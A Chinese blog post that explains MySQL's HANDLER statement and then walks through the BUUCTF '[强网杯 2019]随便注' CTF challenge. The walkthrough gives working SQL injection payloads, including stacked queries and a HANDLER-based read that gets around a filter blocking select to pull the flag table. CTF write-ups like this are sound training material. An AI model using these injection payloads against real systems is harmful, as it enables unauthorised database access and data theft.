MYSQL handler的用法与应用-[强网杯 2019]随便注

目录

一、handler的用法

1.前提介绍:

2.命令介绍:

二、buuctf:[强网杯 2019]随便注

题目详解

1、前提侦测:

2、常规注入

3、得出结论


一、handler的用法

MYSQL官网介绍:https://dev.mysql.com/doc/refman/8.0/en/handler.html

1.前提介绍:

HANDLER 是一个比较低级的语句;

具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话).

HANDLER 语句提供了对表存储引擎接口的直接访问。

所有形式的 HANDLER... READ 默认获取一行(如果有的话)

2.命令介绍:

HANDLER tbl_name OPEN [ [AS] alias]
    handler tablename open;                              /开启tablename表
    hand tablename open as new_tablename;   /追加tablename的表的别名为new_tablename(需要注意的是,此处不是修改,且只在当前会话内生效)

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]
    handler tablename read Keyname=('test001'); /读取tablename表的索引名为Keyname的值为test001的整行信息。(每张表都会默认有索引列)

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]
     handler tablename read listname first;      /读取tablename表的列名为listname的第一个值的整行信息。

HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]
     handler tablename read first;                  /读取tablename表的第一行信息。
     handler tablename read next;                 /读取tablename表的下一行信息。
     handler tablename read first limit 0,2;    /读取tablename表的前两行信息。

HANDLER tbl_name CLOSE 

     handler tablename close                        /退出handler会话(它于handler ... open是相对的)

PS:

    handler的LIMIT语法与SELECT完全一致,所以,这里就不多做详解了。

    如果在 open 语句打开表时,用了 as 指向了一个别名,则对带有其他 HANDLER 语句的打开表的进一步引用必须使用别名而不是表名。  如果不使用别名,而是使用由数据库名称限定的表名称打开表,则进一步的引用必须使用未限定的表名称

     例如,现在已知一张表名为tablename:

handler tablename open;
handler tablename read frist;
handler tablename close;

或者:

handler  tablename open as test;
handler test read frist;
handler test close;

<<<<<<<<<<<<<<<<<<<<<<<<<<<<完毕>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

二、buuctf:[强网杯 2019]随便注

题目详解

url:BUUCTF在线评测

1、前提侦测:

打开首页:

页面代码看不出任何东西,我们点击一下提交,

 返回了一个数组,根据题目提示,和传参方式,我们可以试着用get注入

1' or 'a' = 'a

1'%20or%20'a'%20=%20'a

 

可以确定,是存在get注入漏洞的,

2、常规注入

那么我们就可以按照常规思路去试一下:

-1' union select 1,database()--+

-1%27%20union%20select%201,database()--+

报错了,而且过滤起来很严格。 万幸的是,它并没有过滤handler语句。

用handler语句代替select,这样就要换个方式了,因为两个语句的查询方式并不一致:

先看一下同目录下有多少张表:

1';show tables;--+

两张表 "1919810931114514" 和 "words"

表格式:

1';desc words;--+

-1'%20;desc%20`1919810931114514`;--+

 

3、得出结论

很明显的falg在 1919810931114514表内。

而且还能推出另外一点:words表有两列,分别是id和data。我们之前提交1' or 'a' = 'a获得的表信息很大可能就是该表的信息。1就应该是id的值。

下面就是验证:为了避免flag信息不在第一行,我们一次查看多一点:

-1';handler  `1919810931114514` open;handler `1919810931114514` read first limit 0,10;handler `1919810931114514` close;--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值